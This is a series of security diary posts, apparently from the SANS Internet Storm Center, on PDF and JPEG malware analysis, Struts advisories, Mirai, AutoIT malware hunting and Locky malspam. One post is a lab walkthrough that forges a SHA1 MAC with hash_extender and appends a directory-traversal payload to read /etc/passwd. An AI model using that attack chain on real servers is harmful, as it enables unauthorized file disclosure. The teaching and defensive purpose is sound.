In this short series of diary entries, I show how I try to conclude that a PDF file (a resume) is not malicious, but benign. This is the last part. Thanks to Xavier for letting me post this during his shift.

The PDF file itself is not large, in part 1 we were able to analyze and understand all elements of the PDF document, and know for sure that it does not contain malicious code.

The document contains one image (JPEG), and in part 2, we scanned the image for (malicious) code, but found nothing. The fact that our scans turned up clean, does not prove that the image does not contain malicious code, it merely shows that we were not able to find such code (whether such code is present or not).

In part 3, we will try to dissect the JPEG image, and try to understand all elements of its structure, hoping to find anomalies.

I did a small intermezzo on the analysis of JPEG files, and armed with that knowledge, we will dig deeper into the image of the PDF.

With pdf-parser.py, I extract the image from object 3 and pipe it into jpegdump.py:

First of all, we see that all markers are present, that the Start Of Image marker starts at position 0, and that the End Of Image marker is the last marker. There is one trailing byte (entry 11, length 1) but that is an artefact from the PDF extraction. When we dump it, you can see that it is a newline character:

There are not unexpected bytes between the markers and their data (all d= values are 0), and the data also has entropy values (e=) that can be expected for that type of data (compare this with other JPEG images).

The value of a= is the average difference between 2 consecutive bytes, it is a measure for the rate of change in a sequence of bytes.This value is low for quantization tables (DQT), which is normal, and also normal for Hufmman tables (DHT) when we compare this we other examples of JPEG images.

When we dump the data of the different markers (except the SOI marker), we find no anomalies:

This is the data of the first quantization table. You can see that the byte values do not change much, which produces low e= end a= values.

With this method, and also with 010 Editor, I was able to inspect the data of all markers, except the SOS marker. I found no anomalies, and no indication of a place where shellcode, ROP chains, ... could have been stored.

Let's focus on the Start Of Scan marker and its data. The SOS marker is a marker that is followed by entropy-encoded data (the actual image)

When we select marker 9, the data for this marker is dumped. This is just 10 bytes long:

To dump the data of the image (e.g. the entropy-code data), select 9d (d stands for data):

Although we see a lot of repeating bytes here, this data segment is much longer (l=701509 bytes, as can be read from the line after marker 9) and with a high entropy (=7.68...) and a high average of byte differences (a=89....).

Entropy-coded data can also contain (some) markers. All JPEG markers start with byte 0xFF, so image data represented by 0xFF could be mistaken for a marker. To prevent this, byte-stuffing is applied: every entropy-coded data byte with value 0xFF is followed by value 0x00, to distinguish it from a marker. jpegdump.py counts these stuffed bytes too: in this image, there are 9017 such cases.

The fact that the entropy-coded data of the SOS marker has no 0xFF values not followed by 0x00, is another indication that this data is normal.

When we calculate statistics for the byte in the entropy-coded data, we see that there are more 0x00 bytes than other values (27806 bytes):

One could think that this is an indication for the presence of byte sequences with lower entropy in the data stream, like code or payload data, but it is actually an artifact of the byte-stuffing process.

We can remove this byte-stuffing by using option -u in stead of -d to dump the entropy-coded data. Option -u will dump data like -d, but it will replace all occurences of 0xFF00 by 0xFF (e.g. undo the byte-stuffing).

This produces normal values for 0x00 prevalence:

700 Kbytes is too much to search through manually, so we will try a few detections.

Like looking for strings:

Or looking for sequences of bytes with the same difference:

But both methods yield nothing.

As a last resort, we can chart the entropy:

There are a couple of dips in the entropy, but when we take a closer look at those sequences, they turn out to be short repeating sequences, like the ones at the beginning of the entropy-coded data. These sequences correspond to larger regions in the image with uniform colors.

I don't know (yet) how to decompress the entropy-coded data with the Huffman tables, so my search for anomalies has to stop here.


I know that there is no malicious code in the PDF, and neither in the data of the markers of the JPEG image (except for the SOS marker), because I was able to decode and validate all data. It is still possible however that there is data there that would trigger a bug, but there is no code to exploit it.

As for the entropy-encoded data, there could be malicious code there, but if it is, then it blends in with the entropy-coded data because simple statistical methods do not find code.

I'm confident that this PDF does not contain malicious code, and I can show it to some extend, but I can not be 100% sure. And this will often be the case, especially with more complex documents.

Finally, I did open the image inside a VM, and it is indeed a resume. As a last test, I changed some bytes at the end of the entropy-coded data, and displayed the image again: there was some corruption at the bottom-right corner of the image. This is an indication that there is no payload appended to the end of the entropy-coded data.

Didier Stevens
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2017-09-10

Analyzing JPEG files

In my PDF analysis I started last week, I have to analyze a JPEG file. I usually do this with a binary editor with templates (010 Editor), but this is not an open source solution.

I made a tool (written in Python) to help me analyze JPEG files. The tool, jpegdump.py, is still beta. Before I finish my short diary entry serie "It is a resume", I want to show some analysis example with this tool.

First a normal JPEG file:

Each line presents data for a marker and its data. We see that the file starts with a Start Of Image marker (SOI) at position 0, and ends with a End Of Image marker (EOI), without data following this marker. So that looks clean.

And then we have the markers we can expect: application (APP?), quantization tables (DQT), start of frame (SOF), Huffman tables (DHT), and finally the compressed image: start of scan (SOS). That is what we can expect in a normal image.

Compare this with a JPEG file containing an exploit I created with Metasploit:

The different markers look normal, but not when we look at 6: this is an unknown marker (FFAC), and it also does not follow directly after the data of the previous market (5 DHT): there is a difference of 108 bytes (d=108).

This unknown marker is also supposed to have 15457 bytes of data, but the last message (negative trailing) informs us that this is less.

Another more subtle anomaly is the entropy of the data in the Huffman table (e=7.26...): this looks high for a Huffman table.

With jpegdump, we can dump the content of the data of the Huffman table in marker 5:

This data looks random, and not like a normal Huffman table. For comparison, here is a Huffman table dump of the first image we analyzed:

You can see that in this table, the data is far less random.

Let's see if we can find anything interesting in this random looking data. First we look for strings in the data starting with marker 5 (position 0xae):

We can clearly see an IP address, and something that resembles BASE64 data or the path of a URL.

URLs used by Metasploit payloads encode data, and I have a tool to try to decode this data (metatool.py). Let's try this here:

This confirms that this is a Metasploit exploit: metatool can extract the payload UID, platform and architecture, and also the timestamp when I created the payload.


This is how I proceed when I analyze data structures: I take an overal look at the structure, checking if all expected elements are there. And if I find anomalies, I take a closer look.

I my next diary entry, I will do this for the image in the PDF I was analyzing.


Didier Stevens
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2017-09-09

Malware analysis output sanitization

An interesting conversation unfolded on my diary entry '"Malware analysis: searching for dots".

Back in the old days, on DOS, typing untrusted output to the console could result in escape sequences changing your environment. Catting binary data to your Linux terminal can also have unwanted effects.

Since Python can be used in many environments, there must be environments out there where escape sequences (or something similar) could still wreak havoc.

I decided to take on this (potential) problem by providing sanitization functions in my translate.py tool: Sani1 and Sani2 functions both take a byte as input and return a byte as output. If the input is a control character, Sani1 and Sani2 will sanitize it and return a space character (0x20), except for tabs (HT), linefeeds (LF) and carriage returns (CR). Sani2 goes further than Sani1: it also replaces all bytes equal to 0x80 or higher with a space character.

Hence if you would do malware analysis and output untrusted data in raw format to your screen, you could pipe it through translate.py to sanitize it, like this:

oledump.py -s 8 -v 0075733924IEMJ.doc.vir.zip | translate.py "Sani2(byte)"

Didier Stevens
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2017-09-08

Equifax breach

Equifax, one of the major credit bureaus in the USA has announced a breach that occurred in July. At 143 Million persons affected and considering the type of data this is significant. Canadians may have been affected as well. 

SANS's Securing the Human project has a nice summary for Security Teams / Awareness Officers / CISOs - What to communicate about the Equifax hack. 




Published: 2017-09-08

YASRV (Yet Another Struts RCE Vulnerability) yes a different one from yesterday

Yesterday saw CVE-2017-9805, today we have a new remote code execution vulnerability in Apache Struts 2 which is CVE-2017-12611. Yesterdays was in the REST API and related to Java XML unsafe deserializarion. Todays relates to using Freemarker in your application. Both should encourage you to patch.

Current versions are Struts 2.3.34 and Struts 2.5.13.

Adrien de Beaupré, SANS Instructor and #SEC642 Co-author


Published: 2017-09-06

Modern Web Application Penetration Testing , Hash Length Extension Attacks

I had the opportunity to sit with my friend Ron Bowes (@iagox86) awhile back to talk about SEC642 content and the state of web application penetration testing in general. He mentioned hash length extension attacks, and that he had coincidentally written the absolute best tool to exploit them! That's definitely something that we would consider adding. Ron has also done write-ups for capture the flag (CTF) challenges that can be solved using his tool hash_extender

We have some of the ingredients that we can talk about. We have a topic, we have a tool, and all we need is a vulnerable application. We found a vulnerable application that also included some other interesting cryptographic challenges called CryptOMG by SpiderLabs. They published the solutions to the first and second challenges on their blog. This is the solution to the fifth challenge which is a hash-length-extension attack, and of course we will use hash_extender to exploit it. Installing CryptOMG is covered in Appendix A.
Our first steps are to open a browser, FireFox in this case, and configure it to proxy through Burp. In this case we are using the Samurai WTF VM, a customized version is provided in the SANS SEC642 class. 

Opening up the new site in a browser, we see:

The challenge appears to be a Local File Include (LFI) to see the contents of /etc/passwd. I jumped to that conclusion based on the challenge being to access a file on the server. 

Selecting "Challenge 5" gives us the following:

Selecting "SHA1" as the Algorithm, clicking on the ‘test’ link, and then Burp as a proxy shows us the parameters that we presumably have to play with to succeed. 

algo=sha1, file=test, and hash=dd03bd22af3a4a0253a66621bcb80631556b100e
Clicking on hello we received the following:
algo=sha1, file=hello, and hash=93e8aee4ec259392da7c273b05e29f4595c5b9c6
Finally, clicking on pictures we see the same two parameters with different values, the algorithm did not change. 
algo=sha1, file=pictures, hash=4990d1bd6737cf3ae53a546cd229a5ff05f0023b

All of the other links are similar. Sending the ‘test’ GET request to Burp Repeater, hit Go, and we see the following response:

We now have a baseline request that gives us a "200 OK" response code, and presumably the contents of the "test" file in the HTML body. 

Regardless of the size of the file name input, the output is the same size, which tells us that they may be using a hashing algorithm. As well the output is 40 hex characters in length, or 160 bits. Let’s assume that the hashing algorithm used is SHA1. In this case the application actually tells us that it is, but it is a safe guess based on the fixed length output. The SHA1 hash of the word test is caa44616eed54257deeedb6b3508cefae7d4666d (echo -n test | sha1sum), the SHA1 sum of the word hello is d8ef3b7d2e6a8a6fdb8307dbc09759a5d1558e45 and the SHA1 sum of pictures is f7e22d3af5c9cd78567ed92d425695d33dcfe5d8. These do not match the values that we receive from the server. The application is hashing something else, or is adding something to the hash besides the file name. This leads us to believe that we may be dealing with a Message Authentication Code (MAC). This is where a known value is appended to an unknown secret value and the resultant is hashed. As it turns out this form of creating a MAC is vulnerable to a hash length extension attack. 

 The algorithms vulnerable to the hash length extension attacks include MD4, MD5, RIPEMD-160, SHA-0, SHA-1, SHA-256, SHA-512, and WHIRLPOOL. They make use of Merkle–Damgård length padding. SHA-3 and keyed-Hash Message Authentication Code (HMAC) are not vulnerable to this attack.

This is how the hash length extension attack works. If the server has created a Message Authentication Code (MAC) based on a vulnerable hashing algorithm then it is possible to create a valid MAC value for an attacker controlled parameter appended to that value. An example would be where an application allows a user to select a file (user controller value) and then download the contents of a song that they had purchased. So the MAC is 

HASH_FUNCTION(secret || file_name)
where || is concatenation of the two values together. The problem is if the MAC consists of the secret  concatenated with a file name and then hashed, the attacker can append another value and still create a valid hash without knowing the secret. This is possible through the use of padding. What we do is change the input so that
HASH_FUNCTION(secret || file_name || padding || append_value) 

is also a valid MAC value, it is however different from the first one. What matters is that is passes the MAC check implemented on the server. This works best if the attacker can know the length of the secret, or through trial and error identify how long it is based on server responses. The key aspects of this attack are that the attacker is given both the original value and the signature. They are able to know or can guess the secret length and the algorithm. The application will validate the data returned back using the MAC and accept values that pass this check. The attacker appended value will then be processed by the application. This also requires that the appended value be meaningful to the application and useful to the attacker. 

If this were HMAC we would need the secret. Brute forcing that might take awhile, so let's try a hash length extension attack instead! Without knowing the secret we can append to the "file" parameter and try a directory traversal with a local file include (LFI) attack. We just need to be able to create a valid hash. So our desired parameters will look something like:

algo=sha1, file=test/../../../../etc/passwd, and hash=??

The problem is that we do not know the secret, and also do not know the length of the secret. This is what we need to append our data to the input parameter. Presumably, the hash is calculated like this:


Where they concatenate a secret with something that we can control to generate a hash. The magic of this attack is that, if we exploit that vulnerability, we can append to the filename and still generate a valid hash without knowing the original secret! However we do have to guess the length of the secret, or brute force it. In this case we are going to assume that the secret length lies between 10 and 40 bytes. 
Enter hash_extender! Downloading it from git and making it is quick and easy. The instructions are in Appendix B. 

First run ./hash_extender with no parameters to see the syntax (shown in Appendix C). The last few lines summarize the required options. 
Running the following should give us some file names and hashes to try!

./hash_extender -f sha1 --data 'test' -s dd03bd22af3a4a0253a66621bcb80631556b100e --append '../../../../../../../../../etc/passwd' --secret-min=10 --secret-max=40 --out-data-format=html --table > signatures-n-strings.out

(I had intended to put a crazy one liner in there, but Ron is way cooler and more l33t than me). If we are not successful we see a 404 response code and the HTML does not contain the file that we are looking for:

The first time I tried it I had not put enough ../ in and got a 200 response code without the file contents. The 200 response code indicates that we likely passed the MAC check. 9 iterations of ../ seemed like a good number. Running the results from hash_extender through Burp Intruder we get a hit. This was done by putting the signatures in one file, the strings in another, with both used as payloads to Pitchfork on the Burp Intruder tab.  

As it turns out the length of the secret was 34 bytes. Let's see what we have! 

Success! Without knowing the 34-character secret password we are still able to grab the contents of /etc/passwd through the hash length extension attack. The beauty of this example is that there are actually three separate vulnerabilities that are used together to form the attack. The hash length extension, the local file include, and directory traversal,  
This is one of the many practical attack techniques that we teach in the SANS course SEC642. 

Adrien de Beaupré, SANS Instructor and #SEC642 Co-author


Appendix A: Installing CryptOMG (Using Ubuntu 14.04; apache, mysql, and php5 are already installed)

# cd /var/www/html
# git clone https://github.com/SpiderLabs/CryptOMG.git
# apt-get install libmcrypt4 php5-mysql php5-mcrypt
-- edit /var/www/html/includes/db.inc.php for mysql database settings
# php5enmod mcrypt
# service apache2 restart

Appendix B: Installing hash_extender (again using Ubuntu, but in this case the Samurai WTF VM)

samurai@samuraiwtf:~/Downloads$ git clone https://github.com/iagox86/hash_extender.git
Cloning into 'hash_extender'...
remote: Counting objects: 587, done.
remote: Total 587 (delta 0), reused 0 (delta 0), pack-reused 587
Receiving objects: 100% (587/587), 153.34 KiB | 0 bytes/s, done.
Resolving deltas: 100% (396/396), done.
Checking connectivity... done.
samurai@samuraiwtf:~/Downloads$ cd hash_extender
samurai@samuraiwtf:~/Downloads/hash_extender$ make
[CC] buffer.o
[CC] formats.o
[CC] hash_extender.o
[CC] hash_extender_engine.o
[CC] test.o
[CC] util.o
[LD] hash_extender
[CC] hash_extender_test.o
[LD] hash_extender_test

Appendix C: hash_extender syntax

samurai@samuraiwtf:~/Downloads/hash_extender$ ./hash_extender
hash_extender: --data or --file is required
By Ron Bowes <ron @ skullsecurity.net>
See LICENSE.txt for license information.
Usage: ./hash_extender <--data=<data>|--file=<file>> --signature=<signature> --format=<format> [options]
-d --data=<data>
      The original string that we're going to extend.
      The format the string is being passed in as. Default: raw.
      Valid formats: raw, hex, html, cstr
      As an alternative to specifying a string, this reads the original string
      as a file.
-s --signature=<sig>
      The original signature.
      The format the signature is being passed in as. Default: hex.
      Valid formats: raw, hex, html, cstr
-a --append=<data>
      The data to append to the string. Default: raw.
      Valid formats: raw, hex, html, cstr
-f --format=<all|format> [REQUIRED]
      The hash_type of the signature. This can be given multiple times if you
      want to try multiple signatures. 'all' will base the chosen types off
      the size of the signature and use the hash(es) that make sense.
      Valid types: md4, md5, ripemd160, sha, sha1, sha256, sha512, whirlpool
-l --secret=<length>
      The length of the secret, if known. Default: 8.
      Try different secret lengths (both options are required)
      Output the string in a table format.
      Output data format.
      Valid formats: none, raw, hex, html, html-pure, cstr, cstr-pure, fancy
      Output signature format.
      Valid formats: none, raw, hex, html, html-pure, cstr, cstr-pure, fancy
-h --help 
      Display the usage (this).
      Run the test suite.
-q --quiet
      Only output what's absolutely necessary (the output string and the
The arguments you probably want to give are (see above for more details):
-d <data>
-s <original signature>
-a <data to append>
-f <hash format>
-l <length of secret>


Published: 2017-09-05

Struts vulnerability patch released by apache, patch now

UPDATE2: a Metasploit module has been released. Some limited workarounds may be available. Otherwise patch now!

UPDATE: a link to a working exploit has been seen. As of yet no IDS or WAF signatures/rules have been posted. (2017/09/05 20:30h EDT)

Anyone using Struts 2 should immediately upgrade to Struts 2.5.13 due to a  remote code execution vulnerability. It has been assigned CVE-2017-9805 and a detailed technical writeup is available here: https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement.

A work around would be to disable access to the REST API used by Struts as it does not correctly deserialize objects when invoked. 

Every once in a while along comes a vulnerability that should cause you to consider actually updating the platform your application runs on! Now that the patch is available it will not be long before a working exploit is out in the wild. 

Adrien de Beaupré, SANS Instructor and Co-author of #SEC642
Intru-shun.ca Inc.


Published: 2017-09-05

The Mirai Botnet: A Look Back and Ahead At What's Next

It is a bit hard to nail down when the Mirai botnet really started. I usually use scans for %%port:2323%% and the use of the password "xc3511" as an indicator. But of course, that isn't perfect. The very first scan using the password "xc3511" was detected by our sensor on February 26th, 2016, well ahead of Mirai. This scan hit a number of our sensors via ssh. At the time we did not collect telnet brute force attempts. Oddly enough, it was a singular scan from one IP address (%%ip: . Starting August 9th, 2016, we do see daily scans for the password xc3511 at a low level until they increase significantly around September 21st, which is probably the best date to identify as the outbreak of what we now call Mirai. I will use "Mirai" to identify the family of aggressive telnet scanning bots. It includes a wide range of varieties that all pretty much do the same thing: Scan for systems with telnet exposed (not just on port 23) and then trying to log in using a default password.

Port 2323 Scanning

Figure 1: Port 2323 Scanning for 2016.

One of the first questions that keep coming up is how many hosts were or still are infected with Mirai. A back of the envelope calculation can be done by looking at the current rate of these scans. An average IP address will be hit once every 10 minutes. In my tests, I found that an infected system can scan about 200 IPs per second. To scan the entire internet, it will take an infected system about 200 days (accounting for the fact that Mirai does not scan about 20% of the IP address space). So to be hit about once every 10 minutes, we need only about 30,000 infected systems. This is likely a low estimate. I have seen a lot of Mirai connection attempts fail because the scanning system isn't responding in time, likely because it is not able to keep up with the scans. For port 23 scans, we do see around 100-150,000 sources each day. This is not just Mirai, but other bots as well. Port 2323 only sees around 5-10,000 sources per day. These are likely remnants of the original Mirai versions. Later versions did not use port 2323 as much as earlier versions. So a reasonable estimate of infected systems is likely in the "more than 100,000" range. 

port 2323 decay and best fit

Figure 2: Decay of port 2323 scans and best fit.

Now the next question is: "How long will all this last". I took a look a the %%port:2323%% traffic, to see how it decayed over the last year. Like I have seen in prior bot outbreaks all the way back to Nimda/CodeRed, the decay is best matched using two components: A "fast part" of systems that are patched relatively fast, and a "slow" part of systems that take much longer to fix. For SQL Slammer, for example, the "fast" part was patched in a few hours, while the "slow" part was patched "never". For Mirai, the "fast" decay has a half life of 12 days, which is still pretty slow. The "slow" part has a half life of 150 days, and 1/3 of infected systems are part of the "slow" curve. The result: Mirai is going to stick with us for a few more years. There are many efforts underway to reach out to infected systems and to protect them. But for Mirai, these efforts appear to have reached a point of diminishing returns. Unlike SQL Slammer, Mirai does not affect the host network enough to force a fix, and the fix isn't all that easy (often there is no simple "patch". And the password can not be changed by the user). 

A system is only "removed" from the infected pool if it is patched, retired or placed behind a firewall. A system that is rebooted will likely get infected immediatly so we do not have to account for them. The is possibly also a component of new systems connected to the internet. I did not account for them, but they would become part of either the short or long "half-life" component and just increase the amplitude of either. I will try and run a simulation for that as well later.

So what is next?

Mirai and related bots/worms will stay around for the foreseeable future. There is no reason to believe that all backdoor passwords (aka "Support Passwords") have been found. Just last week news broke about such passwords in some Arris DSL modems. Exploiting these passwords is too easy and there isn't much that can be done by the user to protect the device. These are often not passwords that the user can change. In some cases, a firewall may work, unless the firewall itself is vulnerable. A lot of attention was paid to security camera DVRs and IP cameras, but Mirai infects pretty much any Linux based device with guessable telnet password. SSH will not help either. SSH is as vulnerable to default passwords as telnet. Mirai itself doesn't scan for ssh, but other bots do and have done so for a long time. In the end, this is something that has to be fixed by the manufacturer of these devices, not by the end user. The end user may be able to help by stop buying vulnerable devices, but then again, there isn't an easy way for the end user to tell. Maybe some kind of "security seal" that indicates that the device did go through a basic pentest and will provide security updates for a specific number of years will help. But Mirai vulnerable devices are likely still sold today, and due to a large variety of brand names reselling essentially the same device, it is hard to tell if a device is vulnerable or not.

Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute


Published: 2017-09-04

It is a resume - Part 2

In part 2, we are going to take a closed look at the image in object 3.

First we dump the stream and look at the beginning and end:

FF D8 is the Start Of Image Marker of a JPEG image.

FF D9 is the Eod Of Image Marked of a JPEG image.

It's likely that we are indeed dealing with a JPEG image, and not something else.

Next I check if I can find strings inside the JPEG image:

With my maldoc YARA rules (maldoc.yara found in the oledump.py ZIP package) I can search for shellcode:

The first line will scan the raw stream (the JPEG image) with YARA and the rules we provided (maldoc.yara).

The second line will perform the same scan, but with decoders to see if the shellcode is encoded with simple encoding techniques (XOR 1 byte, ADD 1 byte and ROL 1 byte).

There is no output from these commands, the YARA rules don't trigger: this means we can't find shellcode inside the image. This does not necessarily mean there is no shellcode, but that we can't find any...

In part 3, we'll take a deeper look...

Didier Stevens
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2017-09-03

It is a resume - Part 1

I received a resume (a PDF) via email. It was not malicious, it was a real resume, and it's a good opportunity to show how to determine if a PDF contains nothing malicious.

First, I analyzed the PDF with pdfid.py:

The PDF has not a lot of objects (7) neither streams (2). And there's no other warning from pdfid.py. That doesn't mean the pdf is not malicious, it could still contain an exploit for a (un)known vulnerability.

In such a case, I like to use option -e from pdfid to get more info:

This info helps to determine if there is something hiding in this PDF outside the normal objects.

There's just one end-of-file marker (%%EOF), and there are no more bytes following that marker, so nothing was appended to this PDF.

And there are very few bytes outside streams (1133), so it's unlikely something was hidden there.

Lately, we've seen several PDFs campaings with just a URL in the document pointing to malware.

Let's check this with pdf-parser.py:


So this PDF has a lot of indications that it is not malicious.

If needed, we can go deeper in our analysis. In such a case, I like to use pdf-parser.py to pull some statistics on the objects inside the PDF:

This is a very simple PDF, with only 7 objects:

  • 1 catalog object (object 1)
  • 1 pages object (object 2)
  • 1 page object (object 4)
  • 1 XObject object (object 3)
  • and 3 objects without a type (objects 5, 6 and 7)

PDF with objects like these are usually just a document with an image like a JPEG (object XObject) inside it.

When I look at the different objects, there is noting that stands out:

Object 7, with the metadata, gives me a clue as to the origin of this PDF:

So there is not malicious to find. The only remaining place where something could be hiding, is in the streams of objects 3 and 6.

The stream of object 6 is deflated (/FlateDecode), and can thus be decompressed with option -f:

You will probably not recognize the code in the decompressed stream, but this isa description of a page (defining it's size and displaying an image). So nothing malicious here.

What remains, is the image in object 3. There could be an exploit hiding in there, and in part 2, we will see if we can find one.


Didier Stevens
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2017-09-02

AutoIT based malware back in the wild

One week ago I wrote a diary[1] with an analysis of a malicious RAR archive that contained an AutoIT script[2]. The technique was not new but I was curious to see if this was a one-shot or not. To search for juicy samples, VirusTotal Intelligence or “VTI” is a nice source. Thanks to the “Retro Hunt” feature, it is possible to search for specific samples that were submitted. The search conditions are based on YARA rules.

My initial sample contained the AutoIT executable (SHA1: cae4e8c730de5a01d30aabeb3e5cb2136090ed8d[3]). This hash is a good candidate for a simple YARA rule:

import "hash"
rule AutoIT {

        $m0 = { 4D 5A } // PE file

        $m0 at 0   and 
        hash.sha1(0, filesize) == "cae4e8c730de5a01d30aabeb3e5cb2136090ed8d"     

I performed my retro hunt search and a few hours later, I got the results in my mailbox: 319 hashes! The first submission was from February 2015 and the latest one, a few minutes ago. Here is a timeline with all the submissions, we can see clearly a trend that started around the end of July:

Are we facing a massive campaign? I don’t think so because the number of submissions per samples remains low:

When there is a huge attack, samples will be submitted many times and it's not the case here: 16 submissions for a sample worldwide is very low. No specific geographical area targeted, samples were submitted from all over the world (CA,DE, US, VN, UA, RU, BR, CZ, FR, KR, HU) with maybe more sample coming from CZ and KR. Most samples have a good detection score:

Note: the file with a null-score was not malicious and contained valid AutoIT scripts.

I downloaded some samples to investigate them deeper. They were based on the same one as analyzed in my previous diary. They were also close to each other:

AutoIT viper 1593fc1ac7f8bb3cc32ecefdf7c09dfccc2f7c715eb66fba5620575eaf8d8972 > open -l 3; fuzzy
[*] Session opened on /home/nonroot/workdir/projects/AutoIT/binaries/c/6/e/c/c6eccb4f284791a809c71cfd6fdf169fef6f51e79a5be88d4a885b2c7c4c2e2c
[*] 10 relevant matches found
| Score | Name                                                             | SHA256                                                           |
| 65%   | f5459ce54b04e3327a6282bc7b3c4f8f7ac8a24731b370d053bfa7ec8d727e3c | f5459ce54b04e3327a6282bc7b3c4f8f7ac8a24731b370d053bfa7ec8d727e3c |
| 54%   | c12d73b45adb681d490a621d6e4b4a85d49ec3325d92aa6e340b765c499a3d9b | c12d73b45adb681d490a621d6e4b4a85d49ec3325d92aa6e340b765c499a3d9b |
| 55%   | ba81f985e1eb8ceb787f7e93dc90db9ec3d9dc37a69a5141b15b3c61b8f95153 | ba81f985e1eb8ceb787f7e93dc90db9ec3d9dc37a69a5141b15b3c61b8f95153 |
| 58%   | b68f8c83dc0945ebc3d72e65a5029cd9ab7451a510ed04afa63a93e190264cad | b68f8c83dc0945ebc3d72e65a5029cd9ab7451a510ed04afa63a93e190264cad |
| 63%   | 8aad218a6ec84386f6793348eed65055842e9fdd7f52043669897dfd20f0263a | 8aad218a6ec84386f6793348eed65055842e9fdd7f52043669897dfd20f0263a |
| 41%   | 87fda93356c98fd07f15c979acb164520c27ff255520c3877b549618d6ad3f98 | 87fda93356c98fd07f15c979acb164520c27ff255520c3877b549618d6ad3f98 |
| 44%   | 796dece2ee25bf190b940d02a96269e005175e46ecaf994a9b56fd0384a58d25 | 796dece2ee25bf190b940d02a96269e005175e46ecaf994a9b56fd0384a58d25 |
| 46%   | 767e7552c3c0d4b38d3635bfc9a8cfde583a9c21eebd606d67278b436898e8f8 | 767e7552c3c0d4b38d3635bfc9a8cfde583a9c21eebd606d67278b436898e8f8 |
| 49%   | 645f9f9ef1de9b25afbb93a7b35b417442d01a895b07acd7aaf294174c4f77ad | 645f9f9ef1de9b25afbb93a7b35b417442d01a895b07acd7aaf294174c4f77ad |
| 52%   | 1593fc1ac7f8bb3cc32ecefdf7c09dfccc2f7c715eb66fba5620575eaf8d8972 | 1593fc1ac7f8bb3cc32ecefdf7c09dfccc2f7c715eb66fba5620575eaf8d8972 |

I also added a hunting rule on VTI to detect the same kind of malicious files. Since I performed the retro hunt query (2 days ago), I already got 24 notifications! Always the same kind of file, a self-extracting RAR archive with the AutoIT official binary and a bunch of malicious AutoIT scripts.

[1] https://isc.sans.edu/forums/diary/Malicious+AutoIT+script+delivered+in+a+selfextracting+RAR+file/22756/
[2] https://www.autoitscript.com/site/
[3] https://www.virustotal.com/#/file/fb73a819b37523126c7708a1d06f3b8825fa60c926154ab2d511ba668f49dc4b/detection

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-09-01

Malspam pushing Locky ransomware tries HoeflerText notifications for Chrome and FireFox

2017-09-01 update:  A different campaign using HoeflerText popups has been active during the same timeframe.  I wrote about it here, but the only thing these two campaigns have in common is that they both used HoeflerText popups.


During past two weeks or so, we've seen plenty of botnet-based malicious spam (malspam) pushing Locky ransomware.  In recent days, I've noticed multiple waves of malspam every weekday.  It gets a bit boring after a while, but as 2017-08-31 came to a close, I noticed a different technique from this malspam.

Today's malspam had links to fake Dropbox pages.  If you viewed the pages in Chrome or Firefox, they showed a fake notification stating you don't have the HoeflerText font.  These fake notifications had an "update" button that returned a malicious JavaScript (.js) file.  These .js files were disguised as a font library.

Of note, I was unable to get any malware when using Internet Explorer or Microsoft Edge.

The emails

The emails were botnet-based, and they came from various IP addresses around the world.  The message-ID header was spoofed, so that it ended with @us-west-2.amazonses.com>.  However, the few emails I examined closely didn't come from Amazon servers.  Email headers follow:

  • Date/Time start:  Thursday 2017-08-31 as early as 23:50 UTC
  • Date/Time finish:  Friday 2017-09-01 as late as 01:41 UTC
  • Sender (spoofed):  "Dropbox" <no-reply@dropbox.com>
  • Subject:  Please verify your email address

Shown above:  Screen shot from one of the emails.

Fake Dropbox sites and HoeflerText notifications

Each link from the malspam went to compromised sites hosting fake Dropbox pages.  When I viewed the links in Internet Explorer 11 or Microsoft Edge, they merely showed a fake Dropbox page.  I believe they should've returned something after I clicked a link in "Please click here to download a new verification message."  But that didn't work for me.

Shown above:  Bogus site, but nothing when I tried it in IE or Edge.

However, when I tried these same links in Google Chrome, they displayed a fake notification stating: The "HoeflerText" font was not found.  These notifications also had an "update" button.  When I clicked it, I received a JavaScript file named Win.JSFontlib09.js.  That JavaScript file is designed to download and install Locky ransomware.

Shown above:  Bogus site with a HoeflerText popup when viewing it in Chrome.

Shown above:  Bogus site with a HoeflerText popup when viewing it in FireFox.

Shown above:  Bogus site with a HoeflerText popup when viewing it in FireFox after clicking "update".

I tried different browsers and had mixed results.  Tor and Yandex browsers both returned the same results as IE 11 and Microsoft Edge when viewing those fake Dropbox pages.  Opera and Vivaldi returned the same HoeflerText notifications seen in Google Chrome.

Shown above:  Bogus site in Opera or Vivaldi gave the Chrome notification.

Win.JSFontlib09.js was similar to what we've seen in recent weeks for JavaScript downloaders that retrieve Locky ransomware.

Shown above:  Win.JSFontlib09.js from the fake HoeflerText notifications.

Network traffic

Network traffic wasn't too terribly different than what we've seen with other Locky infections.  It just had an added step with the HoeflerText popup.  The image below explains the network traffic from an infection in one of my lab hosts. 

Shown above:  Traffic from an infection filtered in Wireshark.


The following are URLs I found from the malspam.  They're "de-fanged" so you can't accidentally click on them and go to the fake Dropbox pages.

  • hxxp://albion-cx22.co[.]uk/dropbox.html
  • hxxp://ambrogiauto[.]com/dropbox.html
  • hxxp://arthurdenniswilliams[.]com/dropbox.html
  • hxxp://autoecoleathena[.]com/dropbox.html
  • hxxp://autoecoleboisdesroches[.]com/dropbox.html
  • hxxp://autoecoledufrene[.]com/dropbox.html
  • hxxp://avtokhim[.]ru/dropbox.html
  • hxxp://bayimpex[.]be/dropbox.html
  • hxxp://binarycousins[.]com/dropbox.html
  • hxxp://charleskeener[.]com/dropbox.html
  • hxxp://campusvoltaire[.]com/dropbox.html
  • hxxp://dar-alataa[.]com/dropbox.html
  • hxxp://flooringforyou.co[.]uk/dropbox.html
  • hxxp://gestionale-orbit[.]it/dropbox.html
  • hxxp://griffithphoto[.]com/dropbox.html
  • hxxp://jakuboweb[.]com/dropbox.html
  • hxxp://jaysonmorrison[.]com/dropbox.html
  • hxxp://patrickreeves[.]com/dropbox.html
  • hxxp://potamitis[.]gr/dropbox.html
  • hxxp://tasgetiren[.]com/dropbox.html
  • hxxp://willemshoeck[.]nl/dropbox.html

URL that returned script causing HoeflerText popups in Chrome (and Firefox):

